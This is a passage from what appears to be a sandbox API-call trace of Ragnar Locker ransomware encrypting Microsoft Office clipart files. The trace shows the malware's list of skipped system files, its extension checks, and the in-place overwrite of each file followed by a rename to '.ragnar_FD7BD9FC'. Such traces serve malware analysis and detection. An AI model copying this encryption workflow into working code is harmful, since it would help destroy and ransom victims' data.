returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="bootsect.bak") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="bootmgr") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="bootmgr.efi") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="desktop.ini") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="iconcache.db") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="ntldr") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="ntuser.dat") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="ntuser.ini") returned 1 [0093.172] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="thumbs.db") returned 1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.172] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif")) returned 0x20 [0093.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.174] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=727) returned 1 [0093.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.174] GetProcessHeap () returned 0x580000 [0093.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.174] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2d7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.176] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d7, lpOverlapped=0x0) returned 1 [0093.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.177] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.177] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d7, lpOverlapped=0x0) returned 1 [0093.177] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.177] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.177] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.177] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.177] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.178] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.178] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.178] GetProcessHeap () returned 0x580000 [0093.178] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.178] CloseHandle (hObject=0xf4) returned 1 [0093.178] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" [0093.178] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.ragnar_FD7BD9FC" [0093.178] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.179] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1 [0093.179] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.179] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01749_.GIF" | out: lpString1="WB01749_.GIF") returned="WB01749_.GIF" [0093.179] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF") returned=".GIF" [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="autorun.inf") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="boot.ini") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="bootfont.bin") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="bootsect.bak") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="bootmgr") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="bootmgr.efi") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="desktop.ini") returned 1 [0093.179] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="iconcache.db") returned 1 [0093.180] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="ntldr") returned 1 [0093.180] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="ntuser.dat") returned 1 [0093.180] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.180] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="ntuser.ini") returned 1 [0093.180] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="thumbs.db") returned 1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.180] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif")) returned 0x20 [0093.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.181] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=948) returned 1 [0093.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.181] GetProcessHeap () returned 0x580000 [0093.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.181] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.183] VirtualAlloc (lpAddress=0x0, dwSize=0x3b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.183] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b4, lpOverlapped=0x0) returned 1 [0093.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.183] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.183] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b4, lpOverlapped=0x0) returned 1 [0093.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.184] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.184] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.184] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.184] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.184] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.184] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.184] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.184] GetProcessHeap () returned 0x580000 [0093.184] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.185] CloseHandle (hObject=0xf4) returned 1 [0093.185] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" [0093.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.ragnar_FD7BD9FC" [0093.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.186] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1 [0093.186] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.186] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01750_.GIF" | out: lpString1="WB01750_.GIF") returned="WB01750_.GIF" [0093.186] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF") returned=".GIF" [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="autorun.inf") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="boot.ini") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="bootfont.bin") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="bootsect.bak") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="bootmgr") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="bootmgr.efi") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="desktop.ini") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="iconcache.db") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="ntldr") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="ntuser.dat") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="ntuser.ini") returned 1 [0093.186] lstrcmpiW (lpString1="WB01750_.GIF", lpString2="thumbs.db") returned 1 [0093.186] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.186] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.186] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.186] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.186] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.187] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.187] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif")) returned 0x20 [0093.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.188] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1172) returned 1 [0093.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x48b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.188] GetProcessHeap () returned 0x580000 [0093.188] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.188] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.190] VirtualAlloc (lpAddress=0x0, dwSize=0x494, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.190] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x494, lpOverlapped=0x0) returned 1 [0093.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.190] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x494, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.190] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x494, lpOverlapped=0x0) returned 1 [0093.193] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x494, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.193] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.193] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.193] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.194] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.194] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.194] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.194] GetProcessHeap () returned 0x580000 [0093.194] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.194] CloseHandle (hObject=0xf4) returned 1 [0093.194] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" [0093.194] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.ragnar_FD7BD9FC" [0093.194] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.195] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1 [0093.195] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.195] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01751_.GIF" | out: lpString1="WB01751_.GIF") returned="WB01751_.GIF" [0093.195] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF") returned=".GIF" [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="autorun.inf") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="boot.ini") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="bootfont.bin") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="bootsect.bak") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="bootmgr") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="bootmgr.efi") returned 1 [0093.195] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.196] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="desktop.ini") returned 1 [0093.196] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="iconcache.db") returned 1 [0093.196] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="ntldr") returned 1 [0093.196] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="ntuser.dat") returned 1 [0093.196] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.196] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="ntuser.ini") returned 1 [0093.196] lstrcmpiW 